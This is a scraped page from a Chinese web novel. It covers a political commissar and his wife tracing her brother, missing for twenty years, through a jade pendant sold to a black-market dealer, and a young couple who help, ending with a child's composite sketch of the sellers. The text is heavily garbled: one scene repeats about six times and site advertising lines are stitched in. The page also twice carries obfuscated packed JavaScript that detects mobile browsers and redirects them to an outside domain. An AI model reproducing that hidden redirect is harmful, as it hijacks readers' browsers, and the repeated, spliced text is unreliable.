雷政委无奈地拍拍妻子的手背: “那个金大牙是个黑市贩子,咋会知道别人那么多信息?名字啥的都不知道。 他顿了顿,看着妻子瞬间灰败下去的脸,又补充道, “不过你放心,我已经给了那个金大牙一笔钱,留了咱们家的地址和电话,让他务必帮咱们留意着。要是有那家人的新消息,立刻通知咱们。 吉普车在暮色中开回军属大院。 回到家,周淑华像被抽掉了魂儿,饭也吃不下,水也喝不进。 她就坐在灯下,把两块玉佩并排放在桌上,一遍遍摩挲着弟弟那块缺角的玉佩,又拿出那张珍藏多年、已经泛黄发脆的黑白照片—— 照片上,年轻的周淑华搂着还是个半大少年的周建邦,两人脖子上都挂着那块一模一样的玉佩,笑得灿烂。 雷政委看着妻子失魂落魄的样子,心疼又无奈,倒了杯热水放在她手边: “淑华,喝口水吧。别太钻牛角尖了。这么多年了,兴许,这玉佩真是那家人在哪处荒滩野地里无意中捡到的。建邦他…… 他后面的话没忍心说下去。 周淑华却猛地抬起头,眼睛里泪光闪烁,却又带着一种近乎偏执的坚定: “老雷,我知道你担心我。可可建邦他生不见人,死不见尸,二十几年了!我这心里就像压着块大石头,没一天踏实过!现在总算有这么一点信儿了!哪怕只是一点影子,一点可能! 她的手指死死抠着照片的边缘,声音哽咽却清晰, “只要还有一丝希望,我就不能放弃!建邦要是.要是还活着,那当然谢天谢地!要是真不在了. 她的眼泪终于大颗大颗地滚落下来,砸在照片上, “我也得找到他!哪怕只剩一把骨头,我也得把他找回来!让他入土为安!当年,要不是他替我去了那更苦更险的地方下乡,就不会遭遇那些,更不会掉进河里了 雷政委看着妻子捧着照片和玉佩,整个人像丢了魂儿似的,心里揪得难受。 他知道,这根弦要是绷得太紧,非得断了不可。 不能再让她这么漫无边际地瞎想下去了。 雷政委坐到她对面,下了决心: “我想了想,得找人。找有门路、能办事儿的人。 他顿了顿,看着妻子的眼睛, “我去找淮川,他和治安队的李队长关系好,应该能帮到我们。 小说的域名caixs?(请来才 小说 看最新章节 完整章节) “淮川? 周淑华愣了一下,“他,他能帮咱们吗?还有柒柒她. 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 周淑华扑过去抓住丈夫的胳膊,声音抖得不成样子,眼里全是希冀的光。 雷政委叹了口气,摇摇头,沉声道: “找到那个金大牙了。他说,是半个多月前,一家三口农户去他那儿卖的的,那家人不像有这种老物件的,金大牙问他们玉佩哪来的,他们支支吾吾说不上来,只说是家里老人留下来的,急着用钱看病才拿出来卖,其余的,就什么都不知道了。” 周淑华眼里的光瞬间黯淡下去,像被泼了一盆冷水,但随即又燃起更深的执念: “那……那能找到那家人吗?问清楚这玉佩到底哪来的!是在哪发现的?有没有见过我弟弟?” 雷政委无奈地拍拍妻子的手背: “那个金大牙是个黑市贩子,咋会知道别人那么多信息?名字啥的都不知道。” 他顿了顿,看着妻子瞬间灰败下去的脸,又补充道, “不过你放心,我已经给了那个金大牙一笔钱,留了咱们家的地址和电话,让他务必帮咱们留意着。要是有那家人的新消息,立刻通知咱们。” 吉普车在暮色中开回军属大院。 回到家,周淑华像被抽掉了魂儿,饭也吃不下,水也喝不进。 她就坐在灯下,把两块玉佩并排放在桌上,一遍遍摩挲着弟弟那块缺角的玉佩,又拿出那张珍藏多年、已经泛黄发脆的黑白照片—— 照片上,年轻的周淑华搂着还是个半大少年的周建邦,两人脖子上都挂着那块一模一样的玉佩,笑得灿烂。 雷政委看着妻子失魂落魄的样子,心疼又无奈,倒了杯热水放在她手边: “淑华,喝口水吧。别太钻牛角尖了。这么多年了,兴许,这玉佩真是那家人在哪处荒滩野地里无意中捡到的。建邦他……” 他后面的话没忍心说下去。 周淑华却猛地抬起头,眼睛里泪光闪烁,却又带着一种近乎偏执的坚定: “老雷,我知道你担心我。可可建邦他生不见人,死不见尸,二十几年了!我这心里就像压着块大石头,没一天踏实过!现在总算有这么一点信儿了!哪怕只是一点影子,一点可能!” 她的手指死死抠着照片的边缘,声音哽咽却清晰, “只要还有一丝希望,我就不能放弃!建邦要是.要是还活着,那当然谢天谢地!要是真不在了.” 她的眼泪终于大颗大颗地滚落下来,砸在照片上, “我也得找到他!哪怕只剩一把骨头,我也得把他找回来!让他入土为安!当年,要不是他替我去了那更苦更险的地方下乡,就不会遭遇那些,更不会掉进河里了” 雷政委看着妻子捧着照片和玉佩,整个人像丢了魂儿似的,心里揪得难受。 他知道,这根弦要是绷得太紧,非得断了不可。 不能再让她这么漫无边际地瞎想下去了。 雷政委坐到她对面,下了决心: “我想了想,得找人。找有门路、能办事儿的人。” 他顿了顿,看着妻子的眼睛, “我去找淮川,他和治安队的李队长关系好,应该能帮到我们。” “淮川?” 周淑华愣了一下,“他,他能帮咱们吗?还有柒柒她.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 周淑华扑过去抓住丈夫的胳膊声音抖得不成样子眼里全是希冀的光。 雷政委叹了口气摇摇头沉声道: “找到那个金大牙了。他说是半个多月前一家三口农户去他那儿卖的的那家人不像有这种老物件的金大牙问他们玉佩哪来的他们支支吾吾说不上来只说是家里老人留下来的急着用钱看病才拿出来卖其余的就什么都不知道了。” 周淑华眼里的光瞬间黯淡下去像被泼了一盆冷水但随即又燃起更深的执念: “那……那能找到那家人吗?问清楚这玉佩到底哪来的!是在哪发现的?有没有见过我弟弟?” 雷政委无奈地拍拍妻子的手背: “那个金大牙是个黑市贩子咋会知道别人那么多信息?名字啥的都不知道。” 他顿了顿看着妻子瞬间灰败下去的脸又补充道 “不过你放心我已经给了那个金大牙一笔钱留了咱们家的地址和电话让他务必帮咱们留意着。要是有那家人的新消息立刻通知咱们。” 吉普车在暮色中开回军属大院。 回到家周淑华像被抽掉了魂儿饭也吃不下水也喝不进。 她就坐在灯下 照片上年轻的周淑华搂着还是个半大少年的周建邦两人脖子上都挂着那块一模一样的玉佩笑得灿烂。 雷政委看着妻子失魂落魄的样子心疼又无奈倒了杯热水放在她手边: “淑华喝口水吧。别太钻牛角尖了。这么多年了兴许这玉佩真是那家人在哪处荒滩野地里无意中捡到的。建邦他……” 他后面的话没忍心说下去。 周淑华却猛地抬起头眼睛里泪光闪烁却又带着一种近乎偏执的坚定: “老雷我知道你担心我。可可建邦他生不见人死不见尸二十几年了!我这心里就像压着块大石头没一天踏实过!现在总算有这么一点信儿了!哪怕只是一点影子一点可能!” 她的手指死死抠着照片的边缘声音哽咽却清晰 “只要还有一丝希望我就不能放弃!建邦要是.要是还活着那当然谢天谢地!要是真不在了.” 她的眼泪终于大颗大颗地滚落下来砸在照片上 “我也得找到他!哪怕只剩一把骨头我也得把他找回来!让他入土为安!当年要不是他替我去了那更苦更险的地方下乡就不会遭遇那些更不会掉进河里了” 雷政委看着妻子捧着照片和玉佩整个人像丢了魂儿似的心里揪得难受。 他知道这根弦要是绷得太紧非得断了不可。 不能再让她这么漫无边际地瞎想下去了。 雷政委坐到她对面下了决心: “我想了想得找人。找有门路、能办事儿的人。” 他顿了顿看着妻子的眼睛 “我去找淮川他和治安队的李队长关系好应该能帮到我们。” “淮川?” 周淑华愣了一下“他他能帮咱们吗?还有柒柒她.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 周淑华扑过去抓住丈夫的胳膊声音抖得不成样子眼里全是希冀的光。 雷政委叹了口气摇摇头沉声道: “找到那个金大牙了。他说是半个多月前一家三口农户去他那儿卖的的那家人不像有这种老物件的金大牙问他们玉佩哪来的他们支支吾吾说不上来只说是家里老人留下来的急着用钱看病才拿出来卖其余的就什么都不知道了。” 周淑华眼里的光瞬间黯淡下去像被泼了一盆冷水但随即又燃起更深的执念: “那……那能找到那家人吗?问清楚这玉佩到底哪来的!是在哪发现的?有没有见过我弟弟?” 雷政委无奈地拍拍妻子的手背: “那个金大牙是个黑市贩子咋会知道别人那么多信息?名字啥的都不知道。” 他顿了顿看着妻子瞬间灰败下去的脸又补充道 “不过你放心我已经给了那个金大牙一笔钱留了咱们家的地址和电话让他务必帮咱们留意着。要是有那家人的新消息立刻通知咱们。” 吉普车在暮色中开回军属大院。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100718|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >回到家周淑华像被抽掉了魂儿饭也吃不下水也喝不进。 她就坐在灯下把两块玉佩并排放在桌上一遍遍摩挲着弟弟那块缺角的玉佩又拿出那张珍藏多年、已经泛黄发脆的黑白照片—— 照片上年轻的周淑华搂着还是个半大少年的周建邦两人脖子上都挂着那块一模一样的玉佩笑得灿烂。 雷政委看着妻子失魂落魄的样子心疼又无奈倒了杯热水放在她手边: “淑华喝口水吧。别太钻牛角尖了。这么多年了兴许这玉佩真是那家人在哪处荒滩野地里无意中捡到的。建邦他……” 他后面的话没忍心说下去。 周淑华却猛地抬起头眼睛里泪光闪烁却又带着一种近乎偏执的坚定: “老雷我知道你担心我。可可建邦他生不见人死不见尸二十几年了!我这心里就像压着块大石头没一天踏实过!现在总算有这么一点信儿了!哪怕只是一点影子一点可能!” 她的手指死死抠着照片的边缘声音哽咽却清晰 “只要还有一丝希望我就不能放弃!建邦要是.要是还活着那当然谢天谢地!要是真不在了.” 她的眼泪终于大颗大颗地滚落下来砸在照片上 “我也得找到他!哪怕只剩一把骨头我也得把他找回来!让他入土为安!当年要不是他替我去了那更苦更险的地方下乡就不会遭遇那些更不会掉进河里了” 雷政委看着妻子捧着照片和玉佩整个人像丢了魂儿似的心里揪得难受。 他知道这根弦要是绷得太紧非得断了不可。 不能再让她这么漫无边际地瞎想下去了。 雷政委坐到她对面下了决心: “我想了想得找人。找有门路、能办事儿的人。” 他顿了顿看着妻子的眼睛 “我去找淮川他和治安队的李队长关系好应该能帮到我们。” “淮川?” 周淑华愣了一下“他他能帮咱们吗?还有柒柒她.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 周淑华扑过去抓住丈夫的胳膊,声音抖得不成样子,眼里全是希冀的光。 雷政委叹了口气,摇摇头,沉声道: “找到那个金大牙了。他说,是半个多月前,一家三口农户去他那儿卖的的,那家人不像有这种老物件的,金大牙问他们玉佩哪来的,他们支支吾吾说不上来,只说是家里老人留下来的,急着用钱看病才拿出来卖,其余的,就什么都不知道了。” 周淑华眼里的光瞬间黯淡下去,像被泼了一盆冷水,但随即又燃起更深的执念: “那……那能找到那家人吗?问清楚这玉佩到底哪来的!是在哪发现的?有没有见过我弟弟?” 雷政委无奈地拍拍妻子的手背: “那个金大牙是个黑市贩子,咋会知道别人那么多信息?名字啥的都不知道。” 他顿了顿,看着妻子瞬间灰败下去的脸,又补充道, “不过你放心,我已经给了那个金大牙一笔钱,留了咱们家的地址和电话,让他务必帮咱们留意着。要是有那家人的新消息,立刻通知咱们。” 吉普车在暮色中开回军属大院。 回到家,周淑华像被抽掉了魂儿,饭也吃不下,水也喝不进。 她就坐在灯下,把两块玉佩并排放在桌上,一遍遍摩挲着弟弟那块缺角的玉佩,又拿出那张珍藏多年、已经泛黄发脆的黑白照片—— 照片上,年轻的周淑华搂着还是个半大少年的周建邦,两人脖子上都挂着那块一模一样的玉佩,笑得灿烂。 雷政委看着妻子失魂落魄的样子,心疼又无奈,倒了杯热水放在她手边: “淑华,喝口水吧。别太钻牛角尖了。这么多年了,兴许,这玉佩真是那家人在哪处荒滩野地里无意中捡到的。建邦他……” 他后面的话没忍心说下去。 周淑华却猛地抬起头,眼睛里泪光闪烁,却又带着一种近乎偏执的坚定: “老雷,我知道你担心我。可可建邦他生不见人,死不见尸,二十几年了!我这心里就像压着块大石头,没一天踏实过!现在总算有这么一点信儿了!哪怕只是一点影子,一点可能!” 她的手指死死抠着照片的边缘,声音哽咽却清晰, “只要还有一丝希望,我就不能放弃!建邦要是.要是还活着,那当然谢天谢地!要是真不在了.” 她的眼泪终于大颗大颗地滚落下来,砸在照片上, “我也得找到他!哪怕只剩一把骨头,我也得把他找回来!让他入土为安!当年,要不是他替我去了那更苦更险的地方下乡,就不会遭遇那些,更不会掉进河里了” 雷政委看着妻子捧着照片和玉佩,整个人像丢了魂儿似的,心里揪得难受。 他知道,这根弦要是绷得太紧,非得断了不可。 不能再让她这么漫无边际地瞎想下去了。 雷政委坐到她对面,下了决心: “我想了想,得找人。找有门路、能办事儿的人。” 他顿了顿,看着妻子的眼睛, “我去找淮川,他和治安队的李队长关系好,应该能帮到我们。” “淮川?” 周淑华愣了一下,“他,他能帮咱们吗?还有柒柒她.” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 周淑华扑过去抓住丈夫的胳膊,声音抖得不成样子,眼里全是希冀的光。 雷政委叹了口气,摇摇头,沉声道: “找到那个金大牙了。他说,是半个多月前,一家三口农户去他那儿卖的的,那家人不像有这种老物件的,金大牙问他们玉佩哪来的,他们支支吾吾说不上来,只说是家里老人留下来的,急着用钱看病才拿出来卖,其余的,就什么都不知道了。” 周淑华眼里的光瞬间黯淡下去,像被泼了一盆冷水,但随即又燃起更深的执念: “那……那能找到那家人吗?问清楚这玉佩到底哪来的!是在哪发现的?有没有见过我弟弟?” 雷政委无奈地拍拍妻子的手背: “那个金大牙是个黑市贩子,咋会知道别人那么多信息?名字啥的都不知道。” 他顿了顿,看着妻子瞬间灰败下去的脸,又补充道, “不过你放心,我已经给了那个金大牙一笔钱,留了咱们家的地址和电话,让他务必帮咱们留意着。要是有那家人的新消息,立刻通知咱们。” 吉普车在暮色中开回军属大院。 回到家,周淑华像被抽掉了魂儿,饭也吃不下,水也喝不进。 她就坐在灯下,把两块玉佩并排放在桌上,一遍遍摩挲着弟弟那块缺角的玉佩,又拿出那张珍藏多年、已经泛黄发脆的黑白照片—— 照片上,年轻的周淑华搂着还是个半大少年的周建邦,两人脖子上都挂着那块一模一样的玉佩,笑得灿烂。 雷政委看着妻子失魂落魄的样子,心疼又无奈,倒了杯热水放在她手边: “淑华,喝口水吧。别太钻牛角尖了。这么多年了,兴许,这玉佩真是那家人在哪处荒滩野地里无意中捡到的。建邦他……” 他后面的话没忍心说下去。 周淑华却猛地抬起头,眼睛里泪光闪烁,却又带着一种近乎偏执的坚定: “老雷,我知道你担心我。可可建邦他生不见人,死不见尸,二十几年了!我这心里就像压着块大石头,没一天踏实过!现在总算有这么一点信儿了!哪怕只是一点影子,一点可能!” 她的手指死死抠着照片的边缘,声音哽咽却清晰, “只要还有一丝希望,我就不能放弃!建邦要是.要是还活着,那当然谢天谢地!要是真不在了.” 她的眼泪终于大颗大颗地滚落下来,砸在照片上, “我也得找到他!哪怕只剩一把骨头,我也得把他找回来!让他入土为安!当年,要不是他替我去了那更苦更险的地方下乡,就不会遭遇那些,更不会掉进河里了” 雷政委看着妻子捧着照片和玉佩,整个人像丢了魂儿似的,心里揪得难受。 他知道,这根弦要是绷得太紧,非得断了不可。 不能再让她这么漫无边际地瞎想下去了。 雷政委坐到她对面,下了决心: “我想了想,得找人。找有门路、能办事儿的人。” 他顿了顿,看着妻子的眼睛, “我去找淮川,他和治安队的李队长关系好,应该能帮到我们。” “淮川?” 周淑华愣了一下,“他,他能帮咱们吗?还有柒柒她.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第239章 往事 如今已经是深秋了,夜色浓重。 沈淮川刚从部队回来,正端起碗准备吃周柒柒给他留的饭,院门就被敲响了。 开门一看,是风尘仆仆的雷政委,眉宇间锁着深深的疲惫和忧虑。 “淮川,打扰你吃饭了。” 雷政委声音有些沙哑。 “师父,快请进!” 沈淮川连忙把人让进屋。 周柒柒听到动静也从里屋出来,看到雷政委,没提之前的不愉快,自然地招呼道: “雷政委来了?还没吃饭吧?正好淮川刚回来,一起吃点儿?” 说着就要去拿碗筷。 雷政委下意识摆手拒绝:“不用不用,我吃过了,你们吃你们的……” 话还没落音,肚子里就传来一阵清晰的“咕噜”声,在安静的屋里显得格外突兀。 雷政委脸上顿时有点挂不住。 中午接到雷玉华电话,他就火急火燎赶去华宝楼,接着又是找金大牙,又是安抚情绪崩溃的妻子周淑华。 周淑华粒米未进,他也陪着没心思吃,奔波了大半天,身体早就扛不住了。 沈淮川一看这情形,心里明白了七八分,二话不说,直接把雷政委按坐在饭桌旁: “师父,您跟我还客气啥?坐下一起吃!” 这饭菜是给沈淮川一个人留的,肯定不够两个大男人吃的。 周柒柒没多言语,转身又进了厨房,没一会儿,端出两大碗热气腾腾、红黄相间的疙瘩汤,汤面飘着翠绿的葱花,香气扑鼻。 “天冷,喝口热乎的垫垫。” 周柒柒把其中一碗放在雷政委面前。 金黄的蛋花、雪白的面疙瘩浸润在红亮浓稠的西红柿汤底里,诱人极了。 雷政委捧起碗,暖意从手心一直传到心底,他喝了一大口,酸甜鲜香,面疙瘩劲道,浑身都舒坦了些,忍不住感叹: “这天气,还有这么新鲜的西红柿味儿?地窖也存不到这时候吧?” 周柒柒笑了笑,一边给沈淮川碗里夹菜,一边说: “不是新鲜西红柿,是之前跟翠香嫂子她们一块儿熬的西红柿酱,存了好几大玻璃瓶呢,炒个鸡蛋、下个面条都方便,您要是吃着顺口,待会儿给您带两瓶回去。” 雷政委听着,看着眼前这碗暖汤,又看看桌上家常却用心的饭菜,再看看周柒柒平静利落的样子,心里头那股说不出的滋味又翻腾起来。 这姑娘,才华横溢,做事周全,待人接物有里有面,连这种过冬的吃食都准备得妥妥帖帖。 实实在在是个百里挑一的好军嫂。 淑华之前那样对她…… 雷政委心里叹了口气,越发觉得自家老伴儿那心结,真是蒙住了眼,自家实实在在是亏欠了人家。 他这边正心绪复杂地喝着汤,周柒柒已经利索地收拾起托盘,对沈淮川说: “锅里烧着水呢,我去看看,你们慢慢吃,慢慢聊。” 说完,端着托盘就进了厨房,顺手还把门轻轻带上了。 厨房里传来轻微的锅盖碰撞声和水汽蒸腾的细响。 客厅里,就剩下沈淮川和雷政委,还有桌上那碗散发着暖意的疙瘩汤。 沈淮川看着雷政委脸上掩不住的疲惫和欲言又止,放下筷子,沉声问: “师父,这么晚过来,是不是家里有啥事?需要我帮忙的,你尽管开口。” 雷政委看着紧闭的厨房门,又看看眼前这位得力干将,喉咙有些发紧,但还是缓缓开了口。 这一说,就说了很久。 周柒柒带着舟舟洗漱完,小家伙都钻进被窝睡着了。 家属院里也到了熄灯的时候,夜彻底静了下来。 沈淮川送走雷政委,又出去了一会儿,回来才去冲澡。 等他带着一身温热的水汽回到卧室,周柒柒已经背对着门躺下了,被子盖得严实,呼吸均匀,像是睡沉了。 他侧过身,结实的手臂轻轻环上她的腰,下巴蹭着她柔软的发顶,带着点试探,低低唤了一声:“柒柒?” 被子里的人纹丝不动。 沈淮川嘴角勾起一丝了然的笑意,又凑近了些,温热的鼻息拂过她敏感的耳廓,声音放得更柔更缓,像羽毛轻搔:“媳妇儿?” 怀里的人依旧没动静,只是那绵长的呼吸似乎微微顿了一下。 沈淮川眼底笑意更深,几乎贴着她小巧的耳垂,气音拖得又缓又长,带着点黏糊劲儿:“宝宝……?” 最后一个称呼更是加了过分,温热的气息直 往她耳朵眼儿里钻,黏黏糊糊地唤:“女王大人……” “噗嗤——” 黑暗里,周柒柒终于绷不住笑了场,肩膀轻轻耸动,猛地转过身来,没好气地抬手就去捂他的嘴,又抬脚轻轻踹了他小腿一下。 “沈淮川!你烦不烦人!还让不让人好好睡觉了!” 她压低声音嗔怪,黑暗中那双眼睛亮晶晶的,哪有一丝睡意,全是笑意。 沈淮川低笑出声,长臂一收,轻而易举就把这具带着馨香温软的娇躯整个儿捞进怀里,紧紧嵌在胸前。 他低头,不由分说就在她光洁的额头上响亮地亲了一口。 “你睡没睡着,我还能不知道?小骗子。” 周柒柒在他怀里找了个舒服的姿势窝好,胳膊自然地搭在他劲瘦的腰上,声音慵懒软糯: “行了行了,说吧。雷政委大晚上跑来,什么事儿?我看他愁眉苦脸的。” 沈淮川收紧了手臂,下巴蹭着她的发顶,把玉佩的来龙去脉,周淑华崩溃的状态,还有托他找李队长查金大牙线索的事情,言简意赅地说了一遍。 末了,他顿了顿,手臂紧了紧,声音低沉下去,带着一丝不易察觉的紧张: 小说更新,记住域名caixs▇(请来才 小说 看最新章节 完整章节) “柒柒,这事儿我已经自作主张应下了,明天就去找李队。你会不会……” “怪你”两个字还没出口,怀里的小女人就用脑袋顶了他下巴一下,力道不轻不重,带着点娇蛮的**。 “说什么呢!” 周柒柒仰起脸,两只大眼睛在黑暗里闪着光芒。 “把我当什么人了?这种事情**嘛不答应?而且我之前不是跟你说过了吗?你和你师父师母的情分,我不会拦着。该帮就帮。” 沈淮川心头一暖,悬着的那点忐忑瞬间落了地,忍不住低头在她唇上啄了一下。 “不过,” 周柒柒往他怀里又钻了钻,手指戳戳他的胸膛,带着好奇, “周淑华她那个弟弟,周建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104686|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邦,到底怎么回事啊?” 沈淮川沉默了片刻,黑暗中,他的声音放得更轻,将那段沉重的往事娓娓道来。 二十年多年前,周家因为成分不好,全家都要下乡改造。 当时周淑华就已经是大学老师了,因为她私藏了几本外文书, 更是成了重点对象要被发配到最偏远艰苦的地方改造。 可是全家人都知道她从小娇养身体不好去了偏远山区根本熬不住。 最后是弟弟周建邦跪求父母动用了家里最后一点关系和人脉硬是把姐弟两人的下乡地点调换了。 姐姐周淑华跟着父母去近一点的农村改造。 弟弟周建邦则是代替姐姐去了偏远山区。 等周淑华知道的时候弟弟已经坐上火车了她根本就来不及阻止。 两地相隔** 第二年冬天周淑华小半年没有收到弟弟的信了好不容易拿到一封信等待她的却是弟弟已经过世的噩耗。 周建邦小半年前就在山洪里失踪了整整五个多月生不见人死不见尸。 周淑华和家人想去寻却连个方向都没有。 巨大的打击下父母相继病逝。 等到终于**偌大的周家就只剩下周淑华孤零零一个人。 她想去弟弟最后消失的地方找可时过境迁物是人非早就什么线索都没有了。 “这根刺在她心里扎了二十年。” 沈淮川的声音低沉而压抑 “这些年她从来没放弃过。每年下个月就是周建邦生日前后她都会想方设法去一趟他当年下乡的那个县哪怕只是在县城里转转去河边走走好像这样就能离他近一点。” “还有她对雷鸣……那么好也是因为雷鸣小时候那眉眼特别像师母记忆里弟弟的模样而且雷鸣出生的日子正好就是周建邦的生日。她看着雷鸣就像看着弟弟的影子长大了……” 沈淮川顿了顿手臂收得更紧声音里带着一丝无奈的笑意: “就连我刚进部队那会儿因为身形气质可能有点像师母记忆里弟弟长大后的样子她也对我格外照顾和保护不允许任何不好的人和事接近我。” 周柒柒安静地听着心里泛起一阵酸涩的唏嘘。 “怪不得……” 她之前只觉得周淑华不可理喻现在才明白她之所以那么偏执都是有原因的。 她轻轻叹了口气把脸埋进沈淮川温暖的颈窝 “这是有心魔了。执念太深。” 沉默了一会儿她又感慨道 “不过……他们姐弟感情是真好。弟弟为了姐姐去受那份苦姐姐找了他一辈子。如果周建邦真还活着知道姐姐这样找他心里……应该也是暖的吧?” “嗯。”沈淮川应了一声大手在她背上轻轻安抚地拍着。 “这事我支持你。” 周柒柒抬起头语气恢复了坚定 “你好好去做如果有需要我帮忙的也尽管说。” “好。” 沈淮川心头热乎乎的低头寻到她的唇温柔地印下一个绵长的吻 “我刚才已经去给李队长打过电话了商量好了请两天假把金大牙这条线盯紧了查看能不能查出什么线索来。” “嗯快睡吧。” 周柒柒在他怀里调整了下姿势像只找到舒适窝的小猫满足地蹭了蹭 “养足精神明天好好干活。” 第240章 我知道这两个人是谁 第二天天不亮,沈淮川就出了门。 接下来两天,他几乎脚不沾地,天擦黑才带着一身疲惫回来。 周柒柒看在眼里,没多问,只是默默地把饭菜温在灶上。 大金牙那张嘴,对雷政委说的,半真半假。 他就是个收东西的,时间过去太久,卖家是谁,他确实记得不太清楚。 但李队长和沈淮川往他面前一站,那股子迫人的气势,愣是把他吓得一个激灵。 尤其是沈淮川,看着他似笑非笑。 “我看你不仅仅是收东西这么简单,还有点别的门道,要是你不好好说,小心我点了你的炮” 他边说,还边活动了一下筋骨。 就沈淮川这大体格子,大金牙知道自己是跑也跑不过,打也打不过。 在威逼利诱下,他又“奇迹般”地想起点零碎。 原来他干这黑市买卖,每次收完东西后,手底下的几个小崽子,会悄悄跟着买主,有机会的话再把钱摸回来。 “摸回来?我看是偷回来吧!” 李队长的眼神锐利如刀。 大金牙挠了挠头。 “嘿嘿.不过那回没成!那老两口子,精着呢!那老婆子,当着我小弟的面儿,就把那卷票子直接塞裤裆最里头了!那地方,谁有本事下手啊?” 说道这里,他还有点小遗憾。 说的域名caixs?(请来才小 说 看最新章节 完整章节) “几个小崽子跟了几条街,也不见老婆子上个茅房啥的,没找着机会,就回来了。” 沈淮川立马让大金牙把那几个小崽子找出来,问他们是不是还记得什么。 “长得就那样呗,” 一个小崽子挠着头说道: “老农民样,老头闷葫芦一个,三棍子打不出个屁,全听那老婆子咋呼,老婆子嘛,一脸刻薄相,三角眼吊梢眉,看着就不是啥好人!” 另外一个努力回忆着: “鹰钩鼻!对!我记得鼻子挺钩的!” 旁边立刻有人反驳,“瞎说,明明是塌鼻子,蒜头鼻!” 关于夫妻俩的长相,几个人七嘴八舌,吵吵嚷嚷,说啥的都有。 至于穿着,就是普通的不能再普通的农民穿着。 唯一能确定的,就是两人都带着浓重的L省的腔调。 他们跟着的那一路上这一对夫妻俩把附近几条街巷都逛了一圈还去过供销社百货大楼啥的 沈淮川和李队长带着人仔仔细细把两人去过的地方问了一大圈。 两天下来倒是收集了几十份证词厚厚一沓纸沉甸甸地压在沈淮川手上。 可这些人里有的说高有的说矮;有的说瘦有的说胖;鼻子眼睛嘴巴说法没一处统一。 有用的线索几乎为零。 沈淮川回来之后对着这一堆证词直犯愁。 “先吃饭歇会儿。” 周柒柒把热腾腾的饭菜端上桌看他眼底的青黑心疼地推了推他 “我帮你看看?理理头绪。” 沈淮川揉了揉发胀的太阳穴点点头胡乱扒了几口饭靠在椅背上闭目养神。 周柒柒拉过凳子坐下拿起笔神情专注。 她没急着下结论而是像解一道复杂的数学题把几十份证词里提到的所有特征无论大小无论是否矛盾都一条条列在旁边的草稿纸上。 相同的不同的 看着密密麻麻的标记她若有所思。 目光落在那些关于“老婆子”的描述上——尖酸、刻薄、三角眼、吊梢眉…… 这些形容词在众多混乱的描述里出现的频率反而相对高一些。 她心里隐隐有个模糊的影子晃过却又抓不住。 这时舟舟写完作业安静地抱着画板出来挨着她坐下。 小姑娘不能说话一双黑白分明的大眼睛却格外灵透。 周柒柒心中一动摸了摸舟舟的头牵着她回了自己屋里拿过一张白纸铺在舟舟面前轻声说: “舟舟帮婶婶画一个人像好不好?一个老婆婆。” 舟舟用力点点头小手拿起铅笔熟练地先在纸上勾勒出一个脸型轮廓。 她跟着吴大师学了一段时间的绘画现在画起来有模有样的很快就画出了一张巨大的人脸。 周柒柒指着自己整理出的那张“特征对照表” “婶婶念你听着加。老婆婆……嗯很多人说她看起来有点凶眼睛是……嗯三角眼眼角有点往上吊……” 她挑着出现次数最多的共同点尽量用孩子能理解的话描述。 等画完之后再把那次数少一点的特征按照轻重力度叠加了上去。 舟舟抿着小嘴铅笔尖沙沙地在纸上移动专注地修改着老婆婆的五官轮廓。 三角眼的形状渐渐清晰眉梢也带上了点刻薄的上挑。 就这样 小说更新,记住域名caixs.com?(请来才 小说 看最新章节 完整章节)一副奇怪的人像就这么出现了画面中的人各种五官叠加在一起有些诡异。 就在这时院门被敲响了。 沈淮川起身开门门外站着雷政委和脸色苍白眼含希冀的周淑华。 显然他们是等不及消息主动找上门来了。 沈淮川把人让进屋没有寒暄直接把那厚厚一沓证词和目前的困境说了个明白: “……情况就是这样金大牙那边没新线索这些证词说法不一排查难度太大。” 他的声音低沉带着歉意但又不忍心让两人太难受赶紧又补充道。 “不过李队长已经托付了所有线人一旦有类似特征的L省口音夫妇出现立刻通知我们。但现在大海捞针。” 周淑华眼里的光还是瞬间熄灭她身体晃了晃被雷政委一把扶住。 她嘴唇哆嗦着还想说什么最终只重重叹了口气: “难为你们了淮川谢谢谢谢你肯帮忙如果有消息的话一定一定告诉我们。” 她仿佛一下子被抽干了力气连站直都显得困难。 雷政委也满脸沉重扶着妻子:“淮川辛苦你了。那我们先走了.” 说完他就准备扶着几乎要瘫软的周淑华离开。 就在这时周柒柒房间的门“吱呀”一声开了。 “等等!” 周柒柒捏着一张刚画完的纸走了出来脸色复杂得难以形容。 沈淮川立刻迎上去低声问:“柒柒?怎么了?” 他下意识地看了一眼状态极差的师父师母心里揪着。 周柒柒深吸一口气把那张纸往沈淮川面前递了递声音压得低低的: “或许我知道这两个人是谁。” “真的?” 沈淮川一愣眉头拧得更紧声音也压低了 “你怎么会知道?这两 个人你从来没见过面,那地方你也没去过。” 他话没说完,瞟了一眼周淑华的方向,意思很明白,师母现在受不了任何刺激,可不能让她空欢喜。 周柒柒嘴角扯出一丝苦笑,带着点无奈和认命: 